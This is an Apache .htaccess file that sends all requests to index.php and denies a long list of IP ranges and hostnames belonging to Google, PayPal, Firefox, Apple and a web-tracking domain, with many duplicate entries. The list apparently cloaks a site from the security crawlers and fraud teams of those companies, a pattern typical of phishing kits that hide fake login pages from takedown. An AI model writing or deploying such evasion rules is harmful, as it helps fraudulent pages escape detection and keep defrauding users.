# Enable the rewrite engine
RewriteEngine On

order allow,deny
allow from all
deny from 173.194.69.147/22
deny from 149.3.176.145/22
deny from 173.194.112.21/22
deny from 66.235.156.128/22
deny from 173.194.112.8/22
deny from 173.194.112.1/22
deny from 173.194.112.2/22
deny from 173.194.112.3/22
deny from 173.194.112.4/22
deny from 173.194.112.5/22
deny from 173.194.112.6/22
deny from 173.194.112.7/22
deny from 173.194.112.8/22
deny from 173.194.112.9/22
deny from 173.194.112.10/22
deny from 173.194.112.11/22
deny from 173.194.112.12/22
deny from 173.194.112.13/22
deny from 173.194.112.14/22
deny from 173.194.112.15/22
deny from 173.194.112.16/22
deny from 173.194.112.17/22
deny from 173.194.69.125/22
deny from 173.194.69.120/22
deny from 173.194.69.102/22
deny from 173.194.69.95/22
deny from 173.194.69.94/22
deny from 173.194.69.91/22
deny from 173.0.88.2/22
deny from 173.0.84.2/22
deny from 173.0.84.34/22
deny from 173.0.88.2/22
deny from 173.0.88.34/22
deny from 2.20.6.85/22
deny from 63.245.213.92/22
deny from 173.194.69.106/22
deny from 173.194.69.147/22
deny from 173.194.69.99/22
deny from 173.194.69.103/22
deny from 173.194.69.104/22
deny from 173.194.69.105/22
deny from 173.194.69.94/22
deny from 173.194.69.106/22
deny from 173.194.69.147/22
deny from 173.194.69.99/22
deny from 173.194.69.103/22
deny from 173.194.69.104/22
deny from 173.194.69.105/22
deny from 173.194.69.94/22
deny from 63.245.213.92/22
deny from 63.245.217.20/22
deny from 64.62.203.172/22
deny from 173.194.69.102/22
deny from 173.194.69.113/22
deny from 173.194.69.138/22
deny from 173.194.69.139/22
deny from 173.194.69.100/22
deny from 173.194.69.101/22
deny from 64.62.203.172/22
deny from 63.245.217.71/22
deny from 188.112.175.207/22
deny from 66.235.139.166/22
deny from 66.235.138.2/22
deny from 66.235.138.59/22
deny from 66.235.139.153/22
deny from 66.235.139.152/22
deny from 66.235.138.44/22
deny from 66.235.139.118/22
deny from 66.235.138.18/22
deny from 66.235.139.121/22
deny from 66.235.138.19/22
deny from 66.235.134.160/22
deny from 66.235.133.8/22
deny from 66.235.133.52/22
deny from 66.235.133.33/22
deny from 66.235.132.152/22
deny from 66.235.133.62/22
deny from 66.235.132.232/22
deny from 66.235.132.118/22
deny from 66.235.133.11/22
deny from 66.235.132.121/22
deny from 66.235.133.14/22
deny from google.com
deny from paypal.com
deny from 112.2o7.com
deny from firefox.com
deny from apple.com
deny from env=stealthed
allow from all


# Limit to GET and POST methods
<LimitExcept GET POST>
    Deny from all
</LimitExcept>

# Set base directory and default index
RewriteBase /
DirectoryIndex index.php

# Don't rewrite requests for index.php itself
RewriteRule ^index.php$ - [L]

# Skip rewrite if the request is for an actual file or directory
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d

# Rewrite all other requests to index.php
RewriteRule . /index.php [QSA,L]